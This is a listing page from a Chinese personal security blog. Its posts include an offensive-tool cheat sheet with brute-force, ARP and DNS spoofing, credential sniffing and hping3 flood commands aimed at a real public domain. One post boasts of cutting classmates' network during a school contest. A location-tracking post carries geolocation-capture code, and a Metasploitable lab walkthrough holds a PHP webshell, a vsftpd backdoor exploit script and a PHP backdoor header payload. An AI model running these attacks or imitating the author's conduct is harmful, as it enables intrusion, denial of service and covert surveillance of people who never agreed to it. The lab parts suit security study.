爆破SSH: hydra -L user.txt -P passwd.txt -o ssh.txt -vV -t 10 192.168.43.94 ssh // -L指定用户字典 -P 指定密码字典 -o把成功的输出到ssh.txt文件 -vV显示详细信息 -t 指定线程数 // 爆破FTP hydra -L user.txt -P passwd.txt -o ftp.txt -t 5 -vV 192.168.43.94 ftp // -L指定用户名列表 -P指定密码字典 -o把爆破的输出到文件 -t指定线程 -vV 显示详细信息 // 爆破telnet hydra 192.168.43.34 -L user.txt -P passwd.txt -t 10 telnet // 爆破3389 hydra 192.168.43.34 rdp -L user.txt -P passwd.txt -Vdirbdirb 是一个基于命令行的工具,可以根据单词列表对任何目录进行暴力破解。 它会发出一个 HTTP 请求,并查看每个请求的 HTTP 响应代码。-a 设置ua -c 设置cookie带cookie扫描 -N 忽略某些响应码 -o 输出结果 -p 使用代理 -X 在每个测试目录上附加后缀 -z 设置毫秒延迟dirb http://www.baidu.com // 正常扫描 dirb http://www.baidu.com 1.txt // 带用户字典 dirb http://www.baidu.com 1.txt -a "ua" -c "cookie" // 设置 ua 和 cookie dirb http://www.baidu.com 1.txt -p ip:port -o result.txt // 使用代理和输出结果 dirb http://www.baidu.com 1.txt -z 1000 // 设置毫秒延迟arpspoofarpspoof 是一款进行arp欺骗的工具,攻击者可以通过它来毒化受害者arp缓存,将网关mac替换为攻击者mac,然后攻击者可截获受害者发送和收到的数据包,可获取受害者账户、密码等相关敏感信息。ARP欺骗,是让目标主机的流量经过主机的网卡,再从网关出去,而网关也会把原本流入目标机的流量经过我得电脑。工具使用非常简单arpspoof -i eth0 -t 192.168.60.119 192.168.60.1 // 第一个ip是要攻击的主机 第二个ip是要伪装的ip可以填网关 arpspoof -i 网卡 -t 目标IP 网关 // 反向欺骗 arpspoof -i 网卡 -t 网关 目标IPettercap开启流量转发就不会断网受害者的流量会经过攻击者的机器可以实现嗅探echo 1 > /proc/sys/net/ipv4/ip_forward // 开启流量转发 ettercap -G // UI窗口化 ettercap -Tqi eth0 // 进行账号密码嗅探 ettercap -Tqi eth0 -M arp:remote /// /10.11.112.1// // 嗅探网关网页账号密码 ettercap -Tqi eth0 -M ARP // arp毒化eth0所在的网段,安静模式文本显示 ettercap -Tzq /10.0.0.1/21,22,23 -w hack.pcap // 监听10.0.0.1的ftp,ssh,telnet信息,并保存到本地 ettercap -Tq -P dns_spoof -M arp /192.168.1.120/ // 对192.168.1.120进行dns欺骗,使用默认网卡eth0文本模式安静显示 ettercap -Tqi eth0 -L sniffed_data -F filter.ef -M arp:remote /10.0.0.2/80 // 使用过滤并监听10.0.0.2在80端口的所有通信,安静模式文本显示,保存数据到本地 ettercap -Tqi eth0 -M ARP /ip// -w scan.logevillimiterevillimiter这个工具可以直接限制别人的网速,这个项目在github上开源,感兴趣可以去看下是 Python3编写的程序。Github地址: https://github.com/bitbrute/evillimiter下载安装直接 git clone https://github.com/bitbrute/evillimiter.git下载到本地后解压,最好是用linux环境,运行需要Python3环境执行 sudo Python setup.py install 来安装 # 按情况来安装好,输入evillimiter进入就可以操作了。┌──(root㉿kali)-[/home/kali/evillimiter] └─# evillimiter // 进入 (Main) >>> scan // 扫描局域网主机 100% |██████████████████████████████| 256/256 OK 12 hosts discovered. (Main) >>> hosts // 列出扫描结果 ┌Hosts────────────────┬───────────────────┬──────────┬────────┐ │ ID │ IP address │ MAC address │ Hostname │ Status │ ├────┼────────────────┼───────────────────┼──────────┼────────┤ │ 0 │ 192.168.60.1 │ 64:6e:97:39:fa:1c │ │ Free │ │ 1 │ 192.168.60.100 │ 90:e8:68:d4:ea:d9 │ │ Free │ │ 2 │ 192.168.60.102 │ 14:5a:fc:3e:52:ed │ │ Free │ │ 3 │ 192.168.60.103 │ 30:f7:72:26:90:11 │ │ Free │ │ 4 │ 192.168.60.104 │ a8:93:4a:2b:dc:87 │ │ Free │ │ 5 │ 192.168.60.105 │ a8:93:4a:89:9d:0d │ │ Free │ │ 6 │ 192.168.60.106 │ e8:d0:fc:c9:ab:27 │ │ Free │ │ 7 │ 192.168.60.107 │ 94:08:53:2f:17:41 │ │ Free │ │ 8 │ 192.168.60.111 │ 00:0c:29:77:cc:fb │ │ Free │ │ 9 │ 192.168.60.117 │ 00:0c:29:32:31:71 │ │ Free │ │ 10 │ 192.168.60.119 │ 04:d9:f5:5f:d3:e3 │ │ Free │ │ 11 │ 192.168.60.250 │ 80:18:44:ed:fc:7c │ │ Free │ └────┴────────────────┴───────────────────┴──────────┴────────┘ (Main) >>> limit 11 1kbit // 进行限速 1kbit 网速 OK 192.168.60.119 upload / download limited to 1kbit. (Main) >>> free 7 // 解除限制 (Main) >>> quit // 退出 sqlmap如果你正在寻找一个开源渗透测试工具。sqlmap 是最好的之一。它可以自动化利用 SQL 注入漏洞的过程,并帮助你接管数据库服务器。sqlmap.py -u url // 判断是否存在注入 sqlmap.py -u url --dbs // 查询当前用户的所有数据库 sqlmap.py -u url -D 数据库 --tables // 获取数据库中的表名 sqlmap.py -u url -D 数据库 -T 表名 --columns // 获取表中的字段名 sqlmap.py -u url -D 数据库 -T 表名 -C 字段 --dump // 获取字段内容 sqlmap.py -u url --users // 获取数据库所有的用户 sqlmap.py -u url --passwords // 获取数据库用户的密码 sqlmap.py -u url --curerent-db // 获取当前网站数据库名 sqlmap.py -u url --current-user // 获取当前网站数据库的用户名称 sqlmap.py -u url --is-dba // 当前用户是否为管理权限StormBreaker无需任何权限即可获取设备信息网址定位位置 [智能手机]网络摄像头偷拍、网址录音感兴趣可以去Github上看看Github地址:https://github.com/ultrasecurity/Storm-Breaker# Linux 操作系统安装 git clone https://github.com/ultrasecurity/Storm-Breaker cd Storm-Breaker sudo bash install.sh sudo python3 -m pip install -r requirements.txt sudo python3 st.pymsfconsolemsfconsole是metasploit中的一个工具(kali自带工具)msfconsole集成了很多漏洞的利用的脚本,并且使用起来很简单的网络安全工具banner // 替换logo search port:443 // 漏洞搜索 use // 指定模块 info // 查看模块信息 back // 返回上一级 show options // 查看参数 show targets // 模块可攻击目标的类型 run、explpit、run -j // 这三个都是执行 check // 检测是否存在漏洞 connect // 连接端口 类似nc sessions // 可以查看运行的会话,一般在回去靶机权限时使用 sessions -i 会话号 // 可以进入运行的会话 getuid // 提权Yersiniayersinia是OSI第2层的攻击的框架,支持生成树协议(STP),VLAN中继协议(VTP),动态中继协议(DTP),IEEE 802.1Q,IEEE 802.1X,思科发现协议(CDP),动态主机配置协议(DHCP)等可以实现dhcp泛洪攻击、交换机欺骗、STP欺骗、ARP欺骗、DHCP欺骗(伪装成dhcp服务器)h 帮助屏幕 x 选择并执行攻击 i 选择网卡 ENTER 关于选择项目的信息 v 查看数据包的16进制 d 加载协议默认值 e 编辑数据表字段 f 列出捕获文件 s 从协议保存数据包 S 保存-来自所有协议的数据包 L 从网络学习数据包 N 设置Mac欺骗开/关 l 列出正在运行的攻击 K 杀死所有正在运行的攻击 c 清除当前协议statc C 清除所有协议状态 g 转到其他协议屏幕 ctrl-l 重绘屏幕 w 写入配置文件 a 关于这个工具 q 退出yersinia -G // 启动图形化界面 yersinia 协议 -interface 网卡-attack id // 命令行的方式hping3// DDOS攻击 (分布式拒绝服务攻击) // UDP ddos攻击: hping3 -c 10000 -d 120 --udp -w 64 -p 80 --flood --rand-source www.baidu.com 1 // ICMP ddos攻击: hping3 -c 10000 -d 120 --icmp -w 64 -p 80 --flood --rand-source www.baidu.com 1 // SYN ddos攻击: hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source www.baidu.com 1 // ACK ddos攻击: hping3 -c 10000 -d 120 -A -w 64 -p 80 --flood --rand-source www.baidu.com // 端口扫描 hping3 -I eth0 -S 192.168.10.1 -p 80dnsspoofdnsspoof是一个dns欺骗工具 我们使用locate dnsspoof.hosts找到这个文件vi 编辑他如下 对应映射会跳转到别胡网站:10.10.10.3 .baidu.com10.10.10.3 .google.com.hkecho 1 >> /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 10.10.10.2 10.10.10.254 arpspoof -i eth0 -t 10.10.10.254 10.10.10.2 // 过滤规则 dnsspoof -i eth0 -f dnsspoof.hosts host 10.10.10.2 and udp port 53dnsspoof的原理如下:由于DNS协议使用是传输层协议是UDP协议, 这样无需像TCP那样建立连接就可以轻松的伪造应答包,包括源IP. 10.10.10.2发送DNS 查询包问DNS服务器www.baidu.com的IP地址是多少? 10.10.10.1装作DNS服务器(伪造IP)向攻击目标发送一个DNS响应包说www.baidu.com的IP地址是10.10.10.3。ipdrone通过ip返回经纬度一些信息可实现定位,只能定位到市类似你在百度上搜,ip返回的运营商大概的位置,需要python环境里面没什么厉害的代码,就是调了个api接口实现的。Github: https://github.com/noob-hackers/ipdronepython ipdrone.py -v 127.0.0.1 // 示例 setoolkit功能有很多自己研究吧,一般常用克隆网站,骗取输入账号密码。Aircrack-ng暴力破解WIFI密码的工具,前提需要独立的无线网卡一块,没有其实也是有办法的。httrack爬取网页文件的工具,也就是爬虫工具,在终端输入httrack安装下就行。burpsuiteburp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架。beef漏洞分为存储型、反射型、DOM型,最常见的就是利用XSS漏洞弹窗,进一步获取用户Cookie信息。可是如今的WEB系统,有的已经设置HttpOnly属性,有的在请求头中使用Authorization字段提供token令牌,这导致了我们难以获取到用户的身份信息。在这个背景下,XSS漏洞好像越来越没用了。BeEF-XSS是一款非常强大的XSS平台,集成了许多payload,利用它可以极大的提高XSS漏洞的威力。binwalkbinwalk是kali系统中下的文件分析工具。主要是用于CTF_杂项的隐写题,分离提取隐写的文件。如:从图片里分离出压缩包,从流量分析文件里分离出图片,压缩包等。binwalk filepath // 分析文件 binwalk -e filepath // 提取文件volatilityvolatility常用于以下镜像文件的取证:raw、vmen、dmp、img,工具需要自行下载。git clone https://github.com/volatilityfoundation/volatility.gitxsserxsser是一款用于web端自动挖掘和利用xss漏洞的工具,功能非常强大。xsser #命令行启动 xsser –gtk #GUI界面 xsser -u "http://xxx.xxx.xxx/" # 指定 URLpompemPompem的开源工具,该工具可以在当前最热门或最重要的漏洞数据库中搜索漏洞以及相应的漏洞利用代码。该工具采用Python开发,可以帮助渗透测试人员或白帽黑客快速完成漏洞审计任务。# 输入一些网站的框架就可以搜索相关的漏洞 pompem -s Wordpress pompem -s Joomla --html pompem -s "Internet Explorer,joomla,wordpress" --html pompem -s FortiGate --txt pompem -s ssh,ftp,mysqldirsearchdirsearch是一个基于python的高级命令行工具, 旨在对web服务器中的目录和文件进行暴力破解。它和我们平时使用的dirb、御剑等工具一样,就是为了扫描网站的敏感文件和目录从而找到突破口。dirsearch -u http://www.xxx.comGithub: https://github.com/maurosoria/dirsearchtplmapTplmap是一款自动检测和发掘服务器端模板注入漏洞的工具。支持测试Mako, Jinja2, Jade, Smarty, Freemarker, Velocity, 和Twig。python3 tplmap.py -u http://4ed902ae-b677-45c3-a0c1-4c8a88af7f07.node3.buuoj.cn/qaq?name=1 --engine=Jinja2 --os-shell Github: https://github.com/epinna/tplmapkoadic在渗透测试过程中,小伙伴们通常会使用netcat、ncat进行反弹shell,但windows电脑通常不具备开箱即用这些命令的特点,故本期视频我们将分享一个工具koadic,它可以利用windows自带的mshta命令,进行反弹shell从而控制整台windows计算机。同时在关闭终端后依然可以维持会话,除此之外,koadic工具还提供了各种实用的小功能,大家可以自行使用。git clone https://github.com/zerosum0x0/koadic.git cd koadic pip3 install -r requirements.txt ./koadicVeilVeil Evasion,Veil Evasion是linux的一款免杀工具,是一个用 Python 编写的免杀框架,用来生成MSF的Payload,能绕过常见的杀毒软件,它可以将任意脚本或一段 Shellcode 转换成 Windows 可执行文件,从而逃避常见防病毒产品的检测。wapitiWapiti是一款Web应用扫描工具,可以执行黑盒扫描,用户只需要输入要扫描的网址即可,该工具可以探测文件包含、数据库注入、XSS、CRLF、XXE注入、.htaccess绕过等漏洞,还可以指定报告文件格式等。wpscanWPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题,还使用了 Nikto,它是一款非常棒的Web 服务器评估工具,我们认为这个工具应该成为所有针对 WordPress网站进行的渗透测试的一部分。radare2Radare2是一个开源的命令行反汇编框架和逆向工程工具,支持多种架构和文件格式,可以用来对二进制文件进行静态和动态分析,包括反汇编、调试、数据可视化等操作等,跟IDA和x64dbg差不多,最主要的是kali自带,用起来感觉还可以。r2 pwnROPgadgetROPgadget 是一款强大的工具,专为在二进制文件中寻找Gadget而设计。它不仅是一个便捷的查找工具,也能自动化执行相关操作,极大地方便了研究人员在进行返回导向编程(ROP)攻击时的利用过程。ROPgadget 支持多种处理器架构,包括 x86、x64、ARM、PowerPC、SPARC 和 MIPS,同时兼容 ELF、PE 和 Mach-O 三种主流的文件格式。
2022年09月20日
983 阅读
0 评论
76 点赞
2022-09-17
【每日随记】HTTP 1.0、2.0 的区别
测试效果测速地址:https://http2.akamai.com/demo这个测试还是不太标准,有的时候http/2反而更慢点。。。发展历程最早网页使用是在1996年,用在那个时候网页上网络请求上,而http1.1在1999年开始广泛应用于现在的各大浏览器网络请求中,同时http1.1也是当前使用最为广泛的http协议。http1.0http1.0 默认使用Connection: cloose 浏览器每次请求逗需要与服务器建立连接,服务器处理完成后立即断开TCP连接(无连接)服务器不跟踪每个客户端也不记录过去请求(无状态)http1.1http1.1 默认使用Connection: keep-alive (长连接), 避免了连接和释放的开销; 通过Content-Length 字段来判断当前的请求数据是否已经全部接受了,不允许两个并行响应。为什么要持久链接http协议初始化版本中,每进行一次http通信就要断开一次TCP连接。每次请求都会造成TCP连接建立和断开,增加通信量的开销。持久连接的特点持久连接也称为 http keep-alive , 只要任意一端没有提出断开连接,就会保存TCP连接状态。减少TCP连接的重复建立和断开造成的额外开销,减去了服务器的压力持久连接使得多数请求以管线化方式(pipelining)成为可能。可以同时并行发送多个请求,而不需要一个接一个的等待响应了。(请求打包一次传输过去,响应打包一次传递回来),管线化的前提是在持久连接下。Http1.1缺陷(1)高延迟,带来页面加载速度的降低。(网络延迟问题只要由于队头阻塞,导致宽带无法被充分利用)(2)无状态特性,带来巨大的Http头部。(3)明文传输,不安全。(4)不支持服务器推送消息。http2.0SPDY协议:2009年谷歌公开的协议主要解决http1.1效率不高问题。SPDY被当做HTTP2.0的基础,其主要特性(兼容老版本HTTP协议,同时可以使用SSL功能)都在HTTP2.0中得到继承。HTTP2.0:基于SPDY,专注于性能,目标是在用户和网站直接只用一个连接。HTTP2.0新特性(1)二进制传输http2.0将请求和响应数据分割为更小的帧,并且它们采用二进制编码(http1.0基于文本格式)。多个帧之间可以乱序发送,根据帧首部的流表示可以重新组装。(2)Header压缩Http2.0开发了专门的“HPACK”算法,大大压缩了Header信息。(3)多路复用http2.0中引入了多路复用技术,很好的解决了浏览器限制同一个域名下的请求数量的问题。多路复用技术可以只通过一个TCP链接就可以传输所有的请求数据。(4)服务端推送HTTP2.0在一定程度上改不了传统的“请求-应答”工作模式,服务器不再完全被动地响应请求,也可以新建“流”主动向客户端发送消息。(例如,浏览器在刚请求html的时候就提前把可能会用到的JS,CSS文件发送给客户端,减少等待延迟,这被称为“服务端推送Server Push”)服务器也不能随便将第三方资源推送给服务器,必须经过双方确认。HTTP2.0缺点(1)TCP以及TCP+TLS建立连接的延迟(握手延迟)(2)TCP的队头阻塞没有彻底解决(http2.0中,多个请求是跑在一个TCP管道中的,一旦丢包,TCP就要等待重传(丢失的包等待重新传输确认),从而阻塞该TCP连接中的所有请求)因为HTTP2.0存在这些缺点,所以出现了HTTP3.0。Http3.0Google在推行SPDY的时候意识到了上述http2.0一系列问题,于是又产生了基于UDP协议的“QUIC”协议,让HTTP跑在QUIC上而不是TCP上。从而产生了HTTP3.0版本,它解决了“队头阻塞”的问题。特点:(1)实现了类似TCP的流量控制,传输可靠性的功能。(2)实现了快速握手功能(QUIC基于UDP,UDP是面向无连接的,不需要握手和挥手,比TCP快)(3)集成了TLS加密功能(4)多路复用,彻底解决TCP中队头阻塞的问题(单个“流”是有序的,可能会因为丢包而阻塞,但是其他流不会受到影响)总结HTTP1.1的缺点:安全性不足和性能不高;HTTP2.0完全兼容HTTTP1.0,是“更安全的HTTP,更快的HTTPS”,头部压缩,多路复用等技术充分利用了带宽,降低了延迟。HTTP3.0的底层支撑协议QUIC基于UDP实现,又含TCP的特点,实现了又快又可靠的协议。
2022年09月17日
53 阅读
0 评论
3 点赞
2022-09-10
此内容被密码保护
加密文章,请前往内页查看详情
2022年09月10日
771 阅读
0 评论
62 点赞
2022-07-08
【每日随记】《关于学校比赛我捣乱这件事》
回忆在大一下期的时候,学校举办的"学创杯"创新创业大赛类似游戏模拟创业。之前就报名了然后去支教了一个月,回来的我一脸懵被老师叫到教室参加比赛。发现来不及的我选择走不归路,于是我利用晚自习的时间研究了下游戏。发现有 0 金币购买商品的漏洞。呦吼这不稳了。因为参加这场比赛是多人赛我和队友,还有好几个队伍。为了以防万一给他们准备了断网攻击。第二天比赛开始,商品全刷上提交数据的时候我让队友先交。然后把他们的网给拦下来了,导致没交有人还哭了。本以为稳了最后还是没拿到个奖,毕竟这个游戏比的不是谁的金币多就完事。而是创业头脑哈哈哈。那么这是怎么做到的呢,其实原理很简单。漏洞原理游戏本身存在 POST 参数提交可修改金额,程序员写的问题,要不就是故意留着方便修改。ARP断网攻击,由于比赛是在同一局域网,那么就可以实现主机欺骗。除了这种攻击、我还留了最后一手大杀招必断网,大到整栋楼这里不多赘述原理。
2022年07月08日
154 阅读
2 评论
22 点赞
2022-05-10
此内容被密码保护
加密文章,请前往内页查看详情
2022年05月10日
480 阅读
0 评论
48 点赞
2022-03-07
【每日随记】定位追踪技术 ( 基本思路 )
几种方法1.WIFI定位2.手机归属地3.GPS定位4.手机基站定位5.IP定位WIFI定位通过bssid进行定位,位置比较精准误差较小,缺点需要强大的数据,WIFI定位实现的原理,通过bssid进行于经纬度进行绑定存储到数据库,那么这个数据库需要人更新才会有,不一定就能收到,就跟社工库一样,需要不断的更新(目测是街景车路过扫描到附件WIFI的BSSID并记录下来)。一个人做不到这样的搜集,技术很简单但需要大量的WIFI信息的采集。netsh wlan show networks mode=bssid拿到BSSID到WIFI定位地图搜索即可。 WIFI定位地图IP定位通过公网ip进行定位,只能定位到市百度直接搜索ip,拿到对方ip即可查询,这里推荐ip探针比较方便。 IP探针GPS定位这个是有了对方的GPS经纬度,才可以进行定位。腾讯地图查询代码<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Demo</title> </head> <body> <script> (function() { function getLocation() { if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(showPosition, errorCallback, { timeout: 10000 }); } else { alert("您的浏览器暂不支持地理位置功能,请更换浏览器再进行尝试。"); location.reload(); } } function showPosition(position) { var latitude = position.coords.latitude; var longitude = position.coords.longitude; var data = { latitude: latitude, longitude: longitude }; fetch('./location.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(data) }) .then(response => response.text()) .then(data => { console.log(data); }) .catch(error => { console.error('Error:', error); }); } function errorCallback(error) { var errorMessage = ''; switch (error.code) { case error.PERMISSION_DENIED: errorMessage = "请允许共享权限。"; break; case error.POSITION_UNAVAILABLE: errorMessage = "位置信息不可用。"; break; case error.TIMEOUT: errorMessage = "请求用户地理位置超时。"; break; case error.UNKNOWN_ERROR: errorMessage = "发生未知错误。"; break; } alert(errorMessage); if (error.code === error.PERMISSION_DENIED) { location.reload(); } } getLocation(); })(); </script> </body> </html><?php if ($_SERVER['REQUEST_METHOD'] == 'POST') { $json = file_get_contents('php://input'); $data = json_decode($json, true); if (isset($data['latitude']) && isset($data['longitude'])) { $latitude = $data['latitude']; $longitude = $data['longitude']; $textToWrite = "经度: $longitude, 纬度: $latitude\n"; file_put_contents('location.txt', $textToWrite, FILE_APPEND | LOCK_EX); echo "接收到的经度是: $longitude, 纬度是: $latitude。数据已保存到文件。"; } else { echo "接收的数据中不包含经纬度信息。"; } } else { echo "非POST请求"; } ?>手机归属地这不用多说了吧,直接搜手机归属地直接可以查,但信息量少只能到市。拿到手机号直接百度也行,会显示的。 手机归属地查询手机基站定位安卓手机查询当前所使用基站信息方式:手机拨号界面,输入##4636##,选择手机信息,即可查看到LAC,cID (CeID)等数据支持的手机型号:ZTE,小米等。不支持的手机型号:诺基亚,华为等。手机基站定位
2022年03月07日
185 阅读
0 评论
9 点赞
2022-02-26
【技术分享】Metasploitable 靶机漏洞复现
留言这里我就用kali进行操作,用什么操作系统渗透都是可以的,不要让系统限制了你发挥的能力,这里我用kali因为工具都是跟随系统的,不用自己安装比较方便点,有人就说脚本小子那我就想知道,你写的也是脚本有力气写脚本,还不如用别人写好的。浪费时间,难道说你写的脚本,比那些专业人士写的还要厉害? 不也就是重复造轮子,自己会写肯定好,还是要学会利用现有资源,重在思路。靶机介绍Metasploitable是一个虚拟靶机系统镜像,里面含有大量未被修复的安全漏洞,是主要用于MSF渗透测试的目标。它是基于Ubuntu的Linux虚拟机,兼容Vmware、VirtualBox等虚拟机系统。Metasploitable 靶场下载BEESCMS漏洞这个靶机是期末考试用到的,默认账号密码都是msfadmin,考试可没那么简单,已经把这个靶机默认的登录账号密码给改了,需要自己在上面找漏洞,这种靶机在网上其实有很多教程,这里我按照自己的思路再走一遍。1.先用arp-scan扫一遍自身网段的主机,这种方式用的是arp扫描,比ping好多了如果对方开了防火墙ping就凉凉,arp扫描屡试不爽。arp-scan -l // 扫描当前内网主机2.出结果了,是这个地址192.168.25.132,再进行nmap进行扫描下参数不过多解释可以自行研究,信息搜集完毕开始进行分析了,看到系统开了这么多个端口,每个端口都可以试试有对应的服务名称,可百度查阅是否有漏洞。nmap -T4 -sV 192.168.25.132 -p- > info.txt // 扫描并保存结果到文本3.考试的时候做的是这个web上的,考试流程是这样的:{timeline}{timeline-item color="#19be6b"}找到靶机ip地址和web网站(端口随机生成的){/timeline-item}{timeline-item color="#ed4014"}网站上找到后台登录界面{/timeline-item}{timeline-item color="#ed4014"}爆破后台账号密码(后台登录存在sql注入的){/timeline-item}{timeline-item color="#ed4014"}通过后台上传一句话木马{/timeline-item}{timeline-item color="#19be6b"}最终将系统提权(整体流程就是这么简单){/timeline-item}{/timeline}4.扫描下网站目录dirb http://192.168.25.132:41083/这个网址有点可疑,manage是管理的意思,到浏览器访问看下。5.找到了这里其实存在sql注入的,但考试要求进行爆破,用burpsuite抓包进行登录爆破,这里有点多余了,我已经知道账号密码了,admin和1234qwer 就直接就跳过。6.生成一句话木马,直接把一句话木马后缀,改成图片格式也是可以的,这里为了让它更像一张图片,直接在图片内嵌入了一句话,并不影响图片的显示。copy /b 图片路径 + 一句话木马路径 生成的名称 echo "<?php eval(@$_POST['cmd']);" >> 1.php// 一句话木马 <?php eval(@$_POST['cmd']);7.这里我就不用burpsuite,我安装的kali没带懒得安装,这里我就用Fiddler了,上传的时候拦截并把图片格式改为php修改绕过前端规则就行,这样一句话木马就到服务器里了,直接用菜刀或蚂剑连接就行了。8.连接成功,查看下权限不是root权限,开始提权下载提权源码。https://www.exploit-db.com/download/8572待更新...SQL注入1.找到登录后台在账号框输入单引号,随便输入一个密码再加验证码,点击登录。2.就会发现sql语法错误,这就是存在sql注入,经过测试发现只有账号那里存在sql注入。' an and d extractvalue(1,concat(0x7e,(select database()),0x7e))#3.经过尝试and也被过滤了,and用an and d代替,union用un union ion代替,select用selselectect代替。端口漏洞FTP登录密码已知,自己生成字典。账号密码useruserpostgrespostgresserviceservice21 22 23端口msfconsole -q # 启动msf search vsftpd_234 # 搜索21端口漏洞 use 0 # 选择漏洞序号 set rhosts 192.168.213.143 # 设置目标ip run # 执行CVE-2011-2523#!/usr/bin/python3 # CVE : CVE-2011-2523 # vsftp2.3.4 21端口笑脸漏洞 from telnetlib import Telnet import argparse import re from signal import signal, SIGINT from sys import exit def handler(signal_received, frame): print(' [+]Exiting...') exit(0) signal(SIGINT, handler) def main(): parser = argparse.ArgumentParser() parser.add_argument("host", help="input the host", type=str) args = parser.parse_args() host = args.host portFTP = 21 user = "USER nergal:)" password = "PASS pass" try: with Telnet(host, portFTP) as tn: tn.read_until(b"(vsFTPd 2.3.4)") tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") tn.write(password.encode('ascii') + b"\n") with Telnet(host, 6200) as tn2: tn2.read_until(b"exit\n", timeout=1) tn2.write(b'python -c "import pty; pty.spawn(\'/bin/bash\')"\n') tn2.interact() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": main()使用工具:hydra 暴力破解工具hydra -L user.txt -P pass.txt ftp://192.168.25.132 # ftp hydra -L user.txt -P pass.txt 192.168.25.132 ssh # ssh21、22、23 端口存在弱口令。80端口search php_cgi use 0 set rhost 192.168.72.134 run111端口search sunrpc_portmapper use 0 set rhost 192.168.213.143 run1099端口search java_rmi_server use 0 set rhost 192.168.213.143 run1524端口telnet 192.168.72.1343632端口search distcc_exec set payload payload/cmd/unix/bind_perl use 0 run6667 6697端口search ircd_3281_backdoor use 0 set payload cmd/unix/bind_perl # 选择payload set rhost 192.168.213.143 run1524端口利用telnet、nc连接1524端口3306端口mysql -h 192.168.56.129 -u rootmysql密码存在弱口令5900端口vncviewer 192.168.56.129 // 弱密码 password5900端口存在密码弱口令5432端口psql -h 192.168.56.129 -U postres // 弱密码 postres5432端口存在密码弱口令
2022年02月26日
68 阅读
0 评论
5 点赞
2022-02-22
【技术分享】Charles 雷电模拟器抓包配置
charles 配置charles 的代理设置 socks 按我图片的步骤进行设置。设置SSL代理捕获所有流量,要把IP和端口设置成任意。这样做的目的是确保能够完全捕获到所有的流量。点击 Help 选择 "Install Charles Root Certificate"(安装Charles根证书),给自己电脑上安装证书,根据我的图进行安装。保存证书,给雷电模拟器内的安卓手机将信任 Charles 证书。雷电模拟器设置雷电模拟器的网络连接方式,要开启桥接模式这样才能与本机同一网段,这样才能使用代理,我这里设置了静态IP(也可以是DHCP)。把导出的证书文件直接拖放到雷电模拟器窗口中。这样可以方便地将证书文件传输到模拟器内,然后到设置安装证书。cd /data/misc/user/0/cacerts-added/ mount -o remount,rw /system mv * /etc/security/cacerts/ mount -o remount,ro /system当安装好证书后,可以发现它只显示在用户信任的凭据中,为了解决一些抓取APK文件时断网的问题,可以通过MT管理器的终端执行以下命令将证书移动到系统级别。Postern 代理设置配置一下与本机的 charles 进行 socks5 代理连接。再配置一下 "配置规则",如图所示。这样就能够抓包了。
2022年02月22日
39 阅读
0 评论
2 点赞
2022-02-19
【技术分享】PHP漏洞 PHP/8.1.0-dev
简介PHP 8.1.0-dev 版本在 2021年3月28 日被植入后门,但是后门很快被发现并清除,当服务器php版本存在该后门,攻击者可以通过发送User-Agentt头来执行任意代码,php被植入后门也不属于漏洞,后门而已我们只是利用了别人植入的后门,能够对服务器进行操作。实验步骤1.通过这个有漏洞的靶机,进行演示前端给了个提示,先抓包分析下截获到的数据包发送到Repeater方便修改重发请求。2.发送一般发现响应有一个 X-Powered-By 表示网站是用什么技术开发的,它会泄漏开发语言版本号和框架等信息,拿着这个php版本信息进行百度了下,发现存在一个命令执行漏洞。User-Agentt:zerodiumsystem("ls /"); 3.在请求头添加以上这条命令然后发送请求,就可以远程执行系统命令。漏洞修复expose_php = Off // 隐藏php版本号 在php文件夹php.ini中修改或添加 server_tokens off; // 隐藏nginx版本号 在nginx文件夹nginx.conf中修改或添加 ServerTokens Prod // 隐藏apache版本号 在apache文件夹httpd.conf中修改或添加 ServerSignature Off1.最好的办法是换个php版本,为了安全起见建议隐藏服务器的版本和php的版本,以上是隐藏方法。
2022年02月19日
39 阅读
0 评论
4 点赞
1
2
3
4
0:00